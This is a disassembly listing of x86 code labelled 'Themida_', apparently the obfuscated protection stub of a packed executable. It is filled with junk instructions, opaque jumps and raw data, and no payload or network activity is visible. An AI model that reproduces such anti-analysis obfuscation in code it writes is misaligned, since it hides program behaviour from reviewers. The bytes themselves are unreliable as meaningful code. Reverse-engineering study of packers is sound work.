		adc	eax, 9673E031h
		xor	[ebx], esp

; =============== S U B	R O U T	I N E =======================================



sub_602D72	proc near		; CODE XREF: Themida_:00602D63p
		ja	loc_602D7E
		add	eax, 5F8D0E95h


loc_602D7E:				; CODE XREF: sub_602D72j
		pop	edx
		push	ecx
		movsx	edi, ax
		pop	edx
		mov	bl, dl
		push	edi
		pusha
		stc
		jle	$+6
		popa
		pop	ebx
		jbe	loc_602D9A
		mov	ax, cx


loc_602D9A:				; CODE XREF: sub_602D72+1Fj
		jge	loc_602DA8
		jbe	loc_602DA8
		push	edx
		pop	esi


loc_602DA8:				; CODE XREF: sub_602D72:loc_602D9Aj
					; sub_602D72+2Ej
		jo	loc_602DB1
		mov	bx, dx


loc_602DB1:				; CODE XREF: sub_602D72:loc_602DA8j
		mov	ebx, 7914A347h
		add	edi, 304CE591h
		mov	di, ax
		mov	ecx, edx
		jmp	loc_602DCD
; ---------------------------------------------------------------------------
		jmp	edx
; ---------------------------------------------------------------------------
		dd 191C3AE0h
		db 77h
; ---------------------------------------------------------------------------


loc_602DCD:				; CODE XREF: sub_602D72+4Fj
		mov	ax, 6D6Ah
		mov	di, si
		jmp	loc_602DE9
; ---------------------------------------------------------------------------
		db 37h,	2 dup(50h)
		dd 0C4689A53h, 2AB86936h, 0E652F57Ah
		db 33h
; ---------------------------------------------------------------------------


loc_602DE9:				; CODE XREF: sub_602D72+62j
		mov	edx, 5A66EC2h
		push	eax
		call	near ptr sub_602E08
		shr	byte ptr [ebx+63h], 1
		dec	ecx
		jg	short loc_602DFC
		mov	bh, 0EEh


loc_602DFC:				; CODE XREF: sub_602D72+86j
		add	edi, [ecx-763777BEh]
		pop	edi
		push	ecx
		push	ds
		push	es
		out	dx, al
		pop	esp
sub_602D72	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_602E08	proc far		; CODE XREF: sub_602D72+7Dp
		mov	bx, dx
		pop	ebx
		pop	esi
		pusha
		cmc
		mov	edi, 169C6927h
		popa
		push	ebx
		pusha
		mov	ecx, 6D310A03h
		jmp	loc_602E33
; ---------------------------------------------------------------------------
		db 37h,	82h, 0Dh
		dd 4F03D01h, 0D76BD4B5h, 0B41C6792h
		db 0Dh,	0F3h, 0E3h
; ---------------------------------------------------------------------------


loc_602E33:				; CODE XREF: sub_602E08+14j
		popa
		pop	ecx
		add	bx, 4286h
		movzx	esi, bx
		adc	ecx, 11C03CB2h
		mov	esi, 0CED2C37h
		mov	cx, 5FB0h
		mov	esi, 67551A83h
		xor	al, 0E9h
		pusha
		jmp	loc_602E67
; ---------------------------------------------------------------------------
		dw 9E1h
		dd 0FBA081C4h, 0FC21FE3Bh
		db 0F4h, 0C4h, 82h
; ---------------------------------------------------------------------------


loc_602E67:				; CODE XREF: sub_602E08+4Dj
		mov	ecx, 0A4B7E77h
		popa
		movsx	ecx, bx
		add	cx, 0D3ADh
		jmp	loc_602E8E
; ---------------------------------------------------------------------------
		dw 0AFF9h
		dd 5F096A80h, 0C59948D1h, 2B5778ADh, 42A032C3h
; ---------------------------------------------------------------------------
		sub	esp, edx


loc_602E8E:				; CODE XREF: sub_602E08+6Dj
		sub	si, 0FE01h
		mov	cx, dx
		jmp	loc_602EAF
; ---------------------------------------------------------------------------
		or	dl, 0D4h
		div	byte ptr [edi-65CD727Eh]
		mov	cl, 0A8h
		sbb	al, 27h
		adc	ebp, ebp
		db	64h
		aas
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 77h
; ---------------------------------------------------------------------------


loc_602EAF:				; CODE XREF: sub_602E08+8Ej
		push	edi
		pop	edx
		pusha
		pusha
		movsx	ecx, cx
		jmp	loc_602ECF
; ---------------------------------------------------------------------------
		db 0AAh
		dd 0F6DCEF76h, 2597738Fh, 605B395Dh, 0F677F22Ah
		db 80h,	0ABh, 0D8h
; ---------------------------------------------------------------------------


loc_602ECF:				; CODE XREF: sub_602E08+AEj
		popa
		mov	si, di
		popa
		jmp	loc_602EED
; ---------------------------------------------------------------------------
		db 5, 69h, 0ADh
		dd 0E27443D4h, 0DD86677h, 7996EB4Fh, 9BF7A6C7h
		db 0DFh
; ---------------------------------------------------------------------------


loc_602EED:				; CODE XREF: sub_602E08+CCj
		jmp	loc_602EFE
; ---------------------------------------------------------------------------
		mov	eax, 0C6F6C5E8h
		dec	esp
		aaa
		mov	ebx, 0BB0A472Bh


loc_602EFE:				; CODE XREF: sub_602E08:loc_602EEDj
		mov	ebx, edi
		movzx	edx, dx
		jo	loc_602F0E
		mov	ecx, 384F7D2Ah


loc_602F0E:				; CODE XREF: sub_602E08+FBj
		jmp	loc_602F22
; ---------------------------------------------------------------------------
		db 0B9h
		dd 194D1B1Bh, 46DE1A66h, 506D9C35h
		db 16h,	0F2h
; ---------------------------------------------------------------------------


loc_602F22:				; CODE XREF: sub_602E08:loc_602F0Ej
		jns	$+6
		jmp	loc_602F3E
; ---------------------------------------------------------------------------
		db 0E8h, 69h, 0CAh
		dd 345E36F3h, 2ADE16E4h, 7AD72360h
		db 10h,	72h
; ---------------------------------------------------------------------------


loc_602F3E:				; CODE XREF: sub_602E08+120j
		jmp	loc_602F4E
; ---------------------------------------------------------------------------
		db 0E2h
; ---------------------------------------------------------------------------
		popa
		mov	eax, ds:0F81D8DCFh
		cdq
		push	ebp
		xor	dh, [edx]


loc_602F4E:				; CODE XREF: sub_602E08:loc_602F3Ej
		jmp	loc_602F65
; ---------------------------------------------------------------------------
		db 0EFh
		dd 0B4B3B77Dh, 76CB6A0Ah, 0B0E9CCEEh, 0DE030509h
		db 0CDh
; ---------------------------------------------------------------------------


loc_602F65:				; CODE XREF: sub_602E08:loc_602F4Ej
		pusha
		mov	dx, 673Bh
		pusha
		mov	bx, dx
		popa
		popa
		jnp	loc_602F92
		js	loc_602F92
		jmp	loc_602F92
; ---------------------------------------------------------------------------
		db 0C8h, 1Dh, 45h
		dd 48066027h, 0EC7BC9B4h, 375C3058h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0EDh
; ---------------------------------------------------------------------------


loc_602F92:				; CODE XREF: sub_602E08+168j
					; sub_602E08+16Ej ...
		mov	ax, 4C9Bh
		jmp	loc_602FA7
; ---------------------------------------------------------------------------
		db 76h
		dd 2AA04AA2h, 1D58EFB2h
		db 0D5h, 0AFh, 0ECh
; ---------------------------------------------------------------------------


loc_602FA7:				; CODE XREF: sub_602E08+18Ej
		jmp	loc_602FB8
; ---------------------------------------------------------------------------
		xlat
		push	cs
		retf	0D7F2h
; ---------------------------------------------------------------------------
		db 13h,	5Ah, 10h
		dd 0F3795A92h
; ---------------------------------------------------------------------------


loc_602FB8:				; CODE XREF: sub_602E08:loc_602FA7j
		mov	ecx, edi
		jmp	loc_602FCA
; ---------------------------------------------------------------------------
		db 62h
		dd 419C6932h, 8E52ADA7h
		db 0Dh,	0B5h
; ---------------------------------------------------------------------------


loc_602FCA:				; CODE XREF: sub_602E08+1B2j
		call	near ptr loc_602FD6+3
		aam	6Bh
		xlat
		xchg	eax, edx
		db	67h
		sbb	al, 0B4h


loc_602FD6:				; CODE XREF: sub_602E08:loc_602FCAp
		or	eax, 0BF0FE3F3h
sub_602E08	endp ; sp-analysis failed

		leave
		pop	ecx
		add	esi, 3C47D494h
		jmp	loc_602FF8
; ---------------------------------------------------------------------------
		dd 0D5B40441h, 8F7FECF0h, 0A2D4162h, 0AC1F96E9h
; ---------------------------------------------------------------------------


loc_602FF8:				; CODE XREF: Themida_:00602FE3j
		pusha
		sub	ebx, 0ABA6D8Ah
		pusha
		push	ecx
		pop	ebx
		popa
		popa
		movsx	ebx, bx
		mov	esi, ecx
		or	di, 99F8h
		push	esi
		pop	ebx
		call	near ptr loc_60301C+3
		aad	17h
		xchg	eax, esi
		lea	edi, [esi-33h]
		outsd


loc_60301C:				; CODE XREF: Themida_:00603010p
		mov	esp, 870F01A3h
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 0EA815B00h, 1F031324h, 3840FF9h, 0F000000h, 6E8CFB7h
		dd 0FA000000h, 7AF34E59h, 2F68BE04h, 605F1E65h,	5E9h, 0F4E52200h
		dd 0E880818Fh, 8B666164h, 0B5EF8AD9h, 7E9A0h, 0C3F00000h
		dd 0F255D9A1h, 0E6816608h, 11E89D31h, 41000000h, 0AF115987h
		dd 64BB52E8h, 4693B53Dh, 69E50950h, 0B70F5EF8h,	5890FD7h
		dd 0B9000000h, 471488ADh, 0E68166F5h, 0CE94385h, 9F000000h
		dd 759DE164h, 0B05410Ah, 0B685156Dh, 0F18B6630h, 0D78B66F9h
		dd 0FD3B70Fh, 168Eh, 11E900h, 435C0000h, 0E32B37BCh, 2949D5BFh
		dd 670B07A1h, 66FDA1FFh, 8D19EF81h, 0B9D98B66h,	16B715D2h
		dd 12E8h, 29759200h, 9C036305h,	1739A1A3h, 132A834Ah, 0F5EAF73Fh
		dd 8810F58h, 0F000000h,	285h, 66CA8B00h, 4E96EA81h, 0B8A835B9h
		dd 0F08B667Bh, 8AD78B66h, 6657F5C5h, 5A6748B8h,	14E9h
		dd 407E5600h, 0EEACA2F8h, 8C46B76Ah, 7F7BB25Eh,	7ECE7D44h
		dd 0FAF4BA88h, 68B2401Fh, 0CE9h, 0CAC64C00h, 0BBBE3Ah
		dd 5CFEDCB7h, 0E9C38B45h, 6, 0E0B5F879h, 0CA810897h, 2F15283Ah
		dd 3FC2B966h, 0F5FE8B66h, 0B426B1F9h, 0E42CBA10h, 0E9600963h
		dd 0Ch,	51B19506h, 37165F58h, 1BFBC055h, 61A0D980h, 0AE8h
		dd 0CE65EF00h, 0EA90F9F6h, 5BC9C848h, 0F7816660h, 8B66852Bh
		dd 816661F2h, 0F8EA4C3h, 68Bh, 0B9C38100h, 0E902710Dh
		dd 0Fh,	0F0367D3Ch, 0F87C1E87h,	0CD5C865Eh, 0BF0DBA75h
		dd 72070589h, 12E9h, 0E8E70700h, 5105E75Ah, 3D30DF44h
		dd 65D6C7E9h, 0F220E7Fh, 0E8Eh,	9E900h,	0E5D70000h, 19B88E57h
		dd 605671DBh, 8B66D38Bh, 0EAB861D8h, 666E40D5h,	8166F98Bh
		dd 0BE0355E3h, 5B328F58h, 830F5E51h, 2,	890FC28Bh, 3, 0E9C7BF0Fh
		dd 0Eh,	15F8D9BAh, 7D75CEE2h, 6CD1BBF5h, 8157FA9Ch, 0D8334D3h
		dd 23BA5F6Dh, 0F075249h, 589h, 0E9816600h, 0ED801CE2h
		dd 3148B841h, 0BE6638E6h, 8B66E168h, 0F393BACEh, 0CE93D92h
		dd 0A3000000h, 0F103E622h, 0C593E2B8h, 664461CFh, 0DE9CF8Bh
		dd 58000000h, 5B4A5F5Ch, 1C926A5Bh, 8A6A03F1h, 58FC5156h
		dd 14E959h, 78280000h, 9019AF08h, 0FB08C4CAh, 3BCBE583h
		dd 9BAB312Eh, 0AE93963h, 2F000000h, 0BB2E650Fh,	0A4E1CD10h
		dd 8166608Ah, 53822DF7h, 8166615Ah, 0FFA3FD6h, 688h, 52E78100h
		dd 6639BE6Bh, 0B70FDA8Bh, 0C890FD7h, 0E9000000h, 7, 4573A593h
		dd 56DAEC3Dh, 0F616060h, 5861C0B7h, 0C8816051h,	602E7B89h
		dd 0F5F61F5h, 1586h, 10E900h, 0AC3C0000h, 0DE7328C0h, 0A57FA2FDh
		dd 92E231A7h, 8A606644h, 8BED80F8h, 3800F61h, 0F000000h
		dd 0D681F8BFh, 311B0229h, 0DF68166h, 0C18135h, 66587002h
		dd 80525DB9h, 820FBAD3h, 3, 66D78B66h, 0BACCDA81h, 5820FF9h
		dd 51000000h, 5FDAB70Fh, 8840Fh, 66600000h, 500539BBh
		dd 13B7615Fh, 6870Fh, 0D0810000h, 55948BB2h, 2E67C081h
		dd 8B0F47A6h, 0Ah, 5E9h, 0BBE64A00h, 0CB80F6A8h, 3830FE5h
		dd 0F000000h, 63B6C9BFh, 0B9D38B66h, 8F672D5h, 26840Fh
		dd 0E9600000h, 0Dh, 0FBE44775h,	53B45A6Fh, 2417C33Eh, 0CE881h
		dd 9EC80000h, 5899C50Dh, 44556317h, 61589113h, 0F989BB66h
		dd 92078EBEh, 0F3B70F16h, 8E9h,	35AB9B00h, 1CD7A5EFh, 0D0BF0F44h
		dd 9E9h, 0A2955100h, 0C3C64727h, 0BF0FEB5Fh, 5B5BBF2h
		dd 5B510997h, 0C480D08Bh, 880F4Ah, 0B4000000h, 0EE966h
		dd 0B0D70000h, 2F54B357h, 0EF81AD44h, 4B9ACCF1h, 8C4BB8F5h
		dd 810F11CCh, 15h, 0EE8h, 2F36C200h, 8FBF3DD6h,	946C69A2h
		dd 0F547FE69h, 890F6058h, 2, 10E96160h,	2000000h, 0DAF1B56Bh
		dd 0FCD986D5h, 0D57EE54Ch, 61B87382h, 11E9h, 0D71C7800h
		dd 0F370040Dh, 62C9EDF4h, 0E0C1AC2Bh, 51605723h, 0E3D28166h
		dd 0CE9586Ah, 0D000000h, 0CB020B44h, 7FBFCCEh, 61495DF5h
		dd 0E8CFBF0Fh, 9, 61DDF248h, 767AB50Ah,	525AF83Fh, 5FF88B66h
		dd 0D2DA8166h, 0FC5E5622h, 81C18B66h, 0E8EDB7C6h, 0E9CB8B6Ch
		dd 9, 0B189C24Ah, 61F9D97Dh, 0E95A57CEh, 0Ah, 312D3E95h
		dd 5882568h, 870F1D9Ch,	0
		dd 8163B2FCh, 789AD2DEh, 800F1Fh, 8B000000h, 0F08060D6h
		dd 0CF815240h, 48F72E9Bh, 8E8615Ah, 8E000000h, 0EB05E13Ch
		dd 66131E94h, 0F5EF98Bh, 5E8F7B7h, 0B4000000h, 0EDA0C361h
		dd 5E9h, 403CDF00h, 515818D6h, 10E958h,	33730000h, 491ECA42h
		dd 0CEA5746Ch, 5B010336h, 9E9BF68h, 0FD000000h,	0A83BBDB0h
		dd 6D31D76h, 7E9h, 83F07200h, 0A0C9EB48h, 0A5DFDB81h, 0D38B7B87h
		dd 2D38166h, 0FC38B87h,	589h, 9BC5BB00h, 8E0F474Dh, 0Ah
		dd 0F5A5160h, 8Ah, 22B96100h, 817F654Fh, 61901AD2h, 0F8CE800Eh
		dd 0E9F1EB80h, 8, 271DE2AAh, 1354B788h,	0BE9h, 3FECB000h
		dd 83962596h, 592AC196h, 0FFABF0Fh, 686h, 0ADC68100h, 602AC8A3h
		dd 3840Fh, 0BF0F0000h, 0CEBF0FF0h, 14E861h, 0D580000h
		dd 0F42299CFh, 0A6FF3692h, 96EE603Fh, 6A61BD46h, 8E0FAD50h
		dd 3, 59CE8B66h, 830F6057h, 0
		dd 5A615957h, 0CE8166FCh, 0BF0FA6ECh, 9CE380C8h, 0E142B966h
		dd 0E8F0B70Fh, 7, 527A099Fh, 5BC52A25h,	13E9h, 6D7C4900h
		dd 0D7001B30h, 0C1F64651h, 563C150Ah, 0BE70992Dh, 66D18B60h
		dd 615460BFh, 2810F57h,	0B2000000h, 0F605E53h, 38Ah, 0D0BF0F00h
		dd 9E95261h, 0CA000000h, 7D0E20B0h, 0CEA393C0h,	0EE95Bh
		dd 8B970000h, 78223524h, 339F2CA2h, 58F394CEh, 810FEE8Ah
		dd 0Ch,	2EB86660h, 870F59h, 61000000h, 13E9h, 0CF00E300h
		dd 19EC2AF2h, 4B96D67h,	0FE8B616Ch, 15BA2DF1h, 0B039B0B9h
		dd 8062B14Eh, 0BF668ACEh, 0CE816585h, 4CBD4117h, 8F0F48B1h
		dd 3, 0E9CFBF0Fh, 0Ch, 9DC88C98h, 27BF6516h, 79947C5Ah
		dd 49C06FB8h, 4DBE6656h, 0D78B66DAh, 16830Fh, 11E90000h
		dd 0D5000000h, 606CD588h, 12825A15h, 26B67AF5h,	0D65F1802h
		dd 4CC78166h, 3880F30h,	80000000h, 0DE817FE7h, 40111877h
		dd 5E9h, 6B595100h, 0F60909Ah, 148Eh, 0FE900h, 31D80000h
		dd 8E6DFA2Dh, 41E22696h, 6917CADh, 9E92Fh, 7BD80000h, 24AC600Dh
		dd 61A60044h, 0AE8h, 31ABB700h,	547760BEh, 565DDE53h, 870Fh
		dd 5B5E0000h, 14E8D88Bh, 0C2000000h, 0F6110EACh, 28B887AAh
		dd 0C010981Bh, 250CB52Ch, 0BA34A1E4h, 51A71767h, 12E858h
		dd 0D1210000h, 0DFAF9E9Ah, 0C57325F5h, 0BEFB35EFh, 3C43DC0Ah
		dd 6D20C981h, 0E858205Bh, 11h, 284FB496h, 0E203A9C8h, 5C8DDC7Ch
		dd 344EC062h, 7AC2BF94h, 0F5E0763h, 0E8Ch, 9E900h, 0EC240000h
		dd 207E3653h, 0E8FEA60Ch, 13h, 43BA0BFCh, 98C63A42h, 0A1A8FCD5h
		dd 5D579A50h, 0F351B63h, 182h, 0E858FC00h, 14h,	0D6E94A85h
		dd 5AC12607h, 0CA240A96h, 7E1F9820h, 0C0FBA76Fh, 0F5EF38Bh
		dd 88h,	4CEA8000h, 8B25E980h, 0C18153DAh, 29AB6DBEh, 0D0BF0F5Fh
		dd 8BDF8B66h, 12E9C8h, 415E0000h, 0F02E711h, 0CBC0A9Eh
		dd 0F8A5F602h, 3D07F3D1h, 6E9h,	24728E00h, 81BD19B2h, 5A0416E1h
		dd 81605314h, 0DBF908F1h, 93E1814Fh, 61617D95h,	38B0F5Ah
		dd 80000000h, 12E935F5h, 0F3000000h, 0C7956493h, 4DEBDC32h
		dd 0A93F2569h, 0F7CD76D8h, 0E9CE8B68h, 0Fh, 0F35F1B3Dh
		dd 0FF0FE9B5h, 5D0A1959h, 0BA426778h, 4844DA0Ah, 830FF8h
		dd 0B1000000h, 118C0F6Eh, 0E9000000h, 0Ch, 0DF31FA99h
		dd 3969E907h, 2F0BCF0Fh, 0B34AE881h, 11E80694h,	88000000h
		dd 169C6882h, 2E844966h, 0D4059A4h, 13607AC7h, 5B5E5050h
		dd 0D981605Eh, 18CADA86h, 0D1C98BAh, 8B576170h,	0DE95BD9h
		dd 9000000h, 0C0930F4Dh, 0BE2F6E49h, 0EBCF6F56h, 68F0F50h
		dd 0F000000h, 87h, 8B605A00h, 0BB6660DAh, 61614D5Fh, 14E9h
		dd 288E4700h, 67B21201h, 0A66D42FCh, 80C5BAFDh,	0E9CC0A0h
		dd 0C28B6681h, 6CC98160h, 0E97A8AB2h, 7, 818FF4E5h, 61B14879h
		dd 0AE9h, 899A9A00h, 35850079h,	0FB4A899h, 1380h, 0AE800h
		dd 85B00000h, 96682C65h, 0F5C3A448h, 581CC480h,	0FE216CB9h
		dd 8D55BF1Ah, 8B6604B3h, 0FF78BF3h, 0CC8AD8B7h,	45BB5F50h
		dd 0E928B009h, 14h, 0FF502C0Dh,	0D1D69BD0h, 0A053B661h
		dd 50CE17DDh, 0F8C0DCC1h, 0DE9h, 894AA500h, 610A9549h
		dd 82F25739h, 816674BAh, 8B738FEAh, 0A1BF66DFh,	0B70F609Bh
		dd 0DFBF0FD3h, 68BA6661h, 0C28B6644h, 1AB7CABEh, 0EB90B84Ah
		dd 0FCF81A40h, 0DEB70F60h, 0D6816651h, 6158F393h, 0FF7EF80h
		dd 68Bh, 0F08A6000h, 6661F28Bh,	0AD00F281h, 12CA8166h
		dd 4880F86h, 66000000h,	0BA6793BFh, 53C55D65h, 0B70FF8B4h
		dd 0DE8FEh, 41330000h, 3684110Ch, 34D50029h, 0E952ECF5h
		dd 13h,	5FCFA322h, 0F15F6907h, 0A23ED0DCh, 0D844BC02h
		dd 5E87A78Bh, 0E86FD280h, 9, 1668AC24h,	0E120497Ah, 0DE96041h
		dd 0AC000000h, 0B2103A9Ch, 0EC35166Dh, 8A3AFE92h, 0BE9h
		dd 5F51CE00h, 5CC9EF29h, 94A8F99Eh, 870F5E61h, 4, 0B6F8BF66h
		dd 60D68B66h, 20A6E881h, 11E9302Dh, 0AD000000h,	2E737809h
		dd 2FCFF399h, 3008C349h, 88B654ACh, 0C7B96661h,	0DF8B66E0h
		dd 4810Fh, 0BE660000h, 0B96681B8h, 0FE9CFEEh, 0DF000000h
		dd 1BCB8596h, 9BADA61Dh, 7BA9D0DDh, 8B667D8Ch, 5850FF0h
		dd 66000000h, 6EEBF681h, 0F1BF0F50h, 58B0F5Fh, 66000000h
		dd 32B9DB81h, 0CE8h, 0F8EEAA00h, 70374B50h, 0DAC72D6Ch
		dd 800F60CBh, 0
; ---------------------------------------------------------------------------
		jmp	loc_603B08
; ---------------------------------------------------------------------------
		db 6Ah,	0B3h, 79h
		dd 0D17227Ah
; ---------------------------------------------------------------------------


loc_603B08:				; CODE XREF: Themida_:00603AFCj
		popa
		pop	eax
		jns	loc_603B12
		mov	esi, ecx


loc_603B12:				; CODE XREF: Themida_:00603B0Aj
		jno	loc_603B1A
		mov	bl, 16h


loc_603B1A:				; CODE XREF: Themida_:loc_603B12j
		jmp	loc_603B27
; ---------------------------------------------------------------------------
		db 0F4h
		dd 4C44F0FDh
		db 0ADh, 99h, 0F0h
; ---------------------------------------------------------------------------


loc_603B27:				; CODE XREF: Themida_:loc_603B1Aj
		jmp	loc_603B38
; ---------------------------------------------------------------------------
		dd 231C84C7h, 59446B73h, 32E29120h
; ---------------------------------------------------------------------------


loc_603B38:				; CODE XREF: Themida_:loc_603B27j
		jmp	loc_603B4A
; ---------------------------------------------------------------------------
		db 0FDh, 0DCh, 3Ch
		dd 0FC1B7C2Fh, 338CB136h
; ---------------------------------------------------------------------------
		movsd
		push	ebx


loc_603B4A:				; CODE XREF: Themida_:loc_603B38j
		mov	dx, 8A64h
		jmp	loc_603B5D
; ---------------------------------------------------------------------------
		db 18h
; ---------------------------------------------------------------------------
		push	0E0373B52h
		cmp	[eax], eax
		inc	ebp
		lodsb


loc_603B5D:				; CODE XREF: Themida_:00603B4Ej
		mov	dh, 41h
		and	edi, 77281BAEh
		mov	ch, 4Eh
		jmp	loc_603B7C
; ---------------------------------------------------------------------------
		dd 0D240581Ch, 0BFC48F71h, 0E540C18Ch, 11A14BEAh
; ---------------------------------------------------------------------------


loc_603B7C:				; CODE XREF: Themida_:00603B67j
		jmp	loc_603B88
; ---------------------------------------------------------------------------
		align 2
		dw 61CDh
		dd 0CC6B65Ah
; ---------------------------------------------------------------------------


loc_603B88:				; CODE XREF: Themida_:loc_603B7Cj
		pusha
		mov	esi, 44F32126h
		popa
		jnb	loc_603B96
		stc


loc_603B96:				; CODE XREF: Themida_:00603B8Fj
		add	bh, 0E4h
		cld
		add	ebx, 3731B303h
		sub	di, 0F509h
		mov	si, 0BC47h
		jge	loc_603BB2
		adc	bl, 1Fh


loc_603BB2:				; CODE XREF: Themida_:00603BA9j
		push	edx
		jnb	$+6
		pop	ecx
		movsx	esi, bx
		pusha
		cld
		popa
		movsx	eax, dx
		or	di, 7CACh
		jle	loc_603BD3
		adc	di, 104h


loc_603BD3:				; CODE XREF: Themida_:00603BC8j
		mov	ebx, edi
		mov	bx, 0DCD6h
		pusha
		jmp	loc_603BF2
; ---------------------------------------------------------------------------
		db 70h
		dd 3135ADh, 9227070Dh, 0B7266557h, 20C1EC32h
		db 0E9h, 8Ch
; ---------------------------------------------------------------------------


loc_603BF2:				; CODE XREF: Themida_:00603BDAj
		popa
		jno	loc_603BFE
		pusha
		movsx	eax, bx
		popa


loc_603BFE:				; CODE XREF: Themida_:00603BF3j
		sbb	ecx, 4AAFFh
		stc
		cld
		and	si, 7DEEh
		movzx	edx, ax
		jnp	loc_603C19
		sub	di, 0AA69h


loc_603C19:				; CODE XREF: Themida_:00603C0Ej
		cmc
		mov	ebx, 2484A4DEh
		mov	ch, 0EEh
		jmp	loc_603C2F
; ---------------------------------------------------------------------------
		dw 0CE3Fh
; ---------------------------------------------------------------------------
		test	al, 93h
		retf
; ---------------------------------------------------------------------------
		db 0F9h
		db 0D3h, 0A2h, 0C5h
; ---------------------------------------------------------------------------


loc_603C2F:				; CODE XREF: Themida_:00603C21j
		sbb	ebx, 37361E87h
		jl	loc_603C3D
		mov	ch, dl


loc_603C3D:				; CODE XREF: Themida_:00603C35j
		ja	loc_603C44
		cld


loc_603C44:				; CODE XREF: Themida_:loc_603C3Dj
		mov	cl, 6Bh
		call	sub_603C5C
		cmp	eax, 94ED015Dh
		sub	bh, dl
		sub	edi, edx
		xor	[ebp-6048F68Eh], ah
		aam	35h

; =============== S U B	R O U T	I N E =======================================



sub_603C5C	proc near		; CODE XREF: Themida_:00603C46p
		mov	ebx, 5DF36BD3h
		pop	edx
		adc	ebx, 63E976Ah
		movsx	edi, dx
		mov	ecx, 6980D6E9h
		movsx	esi, dx
		mov	ecx, 496C66DDh
		mov	si, ax
		mov	eax, 228C20FBh
		sbb	bx, 0A685h
		jmp	loc_603C9A
; ---------------------------------------------------------------------------
		dw 9545h
		dd 22DCDBFEh, 54A250D9h, 5609131Ch
		db 90h
		db 0C1h
; ---------------------------------------------------------------------------


loc_603C9A:				; CODE XREF: sub_603C5C+29j
		call	loc_603CAF
		int	8Ah		; used by BASIC	while in interpreter
		fsub	dword ptr [ecx]
		push	ss
		shl	dword ptr [ecx], 1
		dec	ebp
		aaa
		xor	ch, [edi+esi*8+11h]
		fstp	st(6)
		cmpsd
sub_603C5C	endp ; sp-analysis failed



loc_603CAF:				; CODE XREF: sub_603C5C:loc_603C9Ap
		and	edi, 3B111F26h
		pop	ebx
		add	esi, 3BA23ECBh
		mov	ch, 0DEh
		mov	si, 9FEAh
		jmp	loc_603CCD
; ---------------------------------------------------------------------------
		db 9
		dd 499ADA14h
		db 0
; ---------------------------------------------------------------------------


loc_603CCD:				; CODE XREF: Themida_:00603CC2j
		pusha
		jmp	loc_603CE5
; ---------------------------------------------------------------------------
		db 3
		dd 0FD46D676h, 0ED62431Ah, 0C39C23B7h, 0AD23D6ADh
		db 36h
; ---------------------------------------------------------------------------


loc_603CE5:				; CODE XREF: Themida_:00603CCEj
		and	dx, 0E38Bh
		popa
		cmc
		stc
		mov	cx, 471Ah
		pusha
		jmp	loc_603D03
; ---------------------------------------------------------------------------
		db 78h
		dd 0DFD10C81h, 0A5594367h
		db 11h,	0C3h, 10h
; ---------------------------------------------------------------------------


loc_603D03:				; CODE XREF: Themida_:00603CF2j
		call	sub_603D14
		adc	ebx, edx
		dec	edi
		jle	short near ptr loc_603D2A+2
; ---------------------------------------------------------------------------
		db 0C4h, 0CFh, 0F6h
; ---------------------------------------------------------------------------
		enter	49D7h, 1Bh

; =============== S U B	R O U T	I N E =======================================



sub_603D14	proc near		; CODE XREF: Themida_:loc_603D03p
		mov	dl, al
		pop	edx
		popa
		sbb	di, 8E70h
		mov	di, 0AF73h
		cmc
		sub	cx, 9FB1h
		movzx	ecx, bx


loc_603D2A:				; CODE XREF: sub_603D3D+1Ej
					; Themida_:00603D0Bj
		mov	dx, 70DEh
		sbb	dx, 0CF65h
		call	sub_603D3D
		mov	dl, 5Dh
		push	eax
		out	81h, al		; DMA page register 74LS612:
sub_603D14	endp ; sp-analysis failed ; Channel 2 (diskette	DMA)  (address bits 16-23)


; =============== S U B	R O U T	I N E =======================================



sub_603D3D	proc near		; CODE XREF: sub_603D14+1Fp
		mov	di, dx
		pop	edi
		mov	eax, 773FCAB3h
		pusha
		add	ebx, 5A852E92h
		popa
		jmp	loc_603D5D
; ---------------------------------------------------------------------------
		mov	edx, 0F3213FEDh
		push	edi
		cmp	al, 98h
		jnp	short loc_603D2A


loc_603D5D:				; CODE XREF: sub_603D3D+11j
		ja	loc_603D66
		movzx	edx, dx


loc_603D66:				; CODE XREF: sub_603D3D:loc_603D5Dj
		clc
		xor	di, 0DF17h
		adc	edi, 4D561B8Fh
		and	cx, 0B0Dh
		call	loc_603D8B
		faddp	st(6), st
		in	al, 48h
		mov	dl, 0B5h
		mov	dl, 0
		les	ecx, [esi]
		sbb	[ecx], esp
		test	[edx+edx*2], ebx
sub_603D3D	endp ; sp-analysis failed



loc_603D8B:				; CODE XREF: sub_603D3D+3Ap
		mov	eax, esi
		pop	esi
		xor	eax, 59FBD0F9h
		pusha
		jbe	loc_603D9C
		cld


loc_603D9C:				; CODE XREF: Themida_:00603D95j
		popa
		call	sub_603DB1
; ---------------------------------------------------------------------------
		dw 0FE26h
		dd 55542166h, 0A7ACF1CFh, 0EF4114AEh
		db 31h

; =============== S U B	R O U T	I N E =======================================



sub_603DB1	proc near		; CODE XREF: Themida_:00603D9Dp
		pop	eax
		call	sub_603DC7
		sbb	dh, [ecx-7A3335D8h]
		sbb	[esi+18160696h], ebp
		adc	esp, ebp
		wait
		xchg	eax, ebp
sub_603DB1	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_603DC7	proc near		; CODE XREF: sub_603DB1+1p

; FUNCTION CHUNK AT 00603E4B SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00603E78 SIZE 0000001F BYTES

		sbb	al, 0DDh
		pop	esi
		pusha
		mov	eax, 8F0B2CBh
		stc
		popa
		mov	cx, ax
		mov	esi, ecx
		call	near ptr loc_603DE3+1
		mov	ecx, eax
		fistp	dword ptr [ecx]
		xor	al, 0D9h


loc_603DE3:				; CODE XREF: sub_603DC7+11p
		loop	loc_603E4B
sub_603DC7	endp ; sp-analysis failed

		sub	esi, 815E47B0h
		enter	4FDEh, 0F9h
		add	[esi-7Fh], ah
		jmp	far ptr	0E9D6h:0BF0F2BBDh
; ---------------------------------------------------------------------------
		db 0Fh,	2 dup(0)
		dd 0AF147C00h, 0A8DEA475h, 0EA17D9C3h, 50579785h, 12E9h
		dd 0C3DD3400h, 0D54B1EFCh, 0EB2234Dh, 0D632717Fh, 810034DAh
		dd 0EDDFFCEAh, 3EBB603Ch, 6178463Ch, 0FB0A46BBh, 0DFB70F3Dh
		dd 43BA66F9h, 8A0FF881h, 9, 38E0Fh
		db 2 dup(0), 66h
; ---------------------------------------------------------------------------
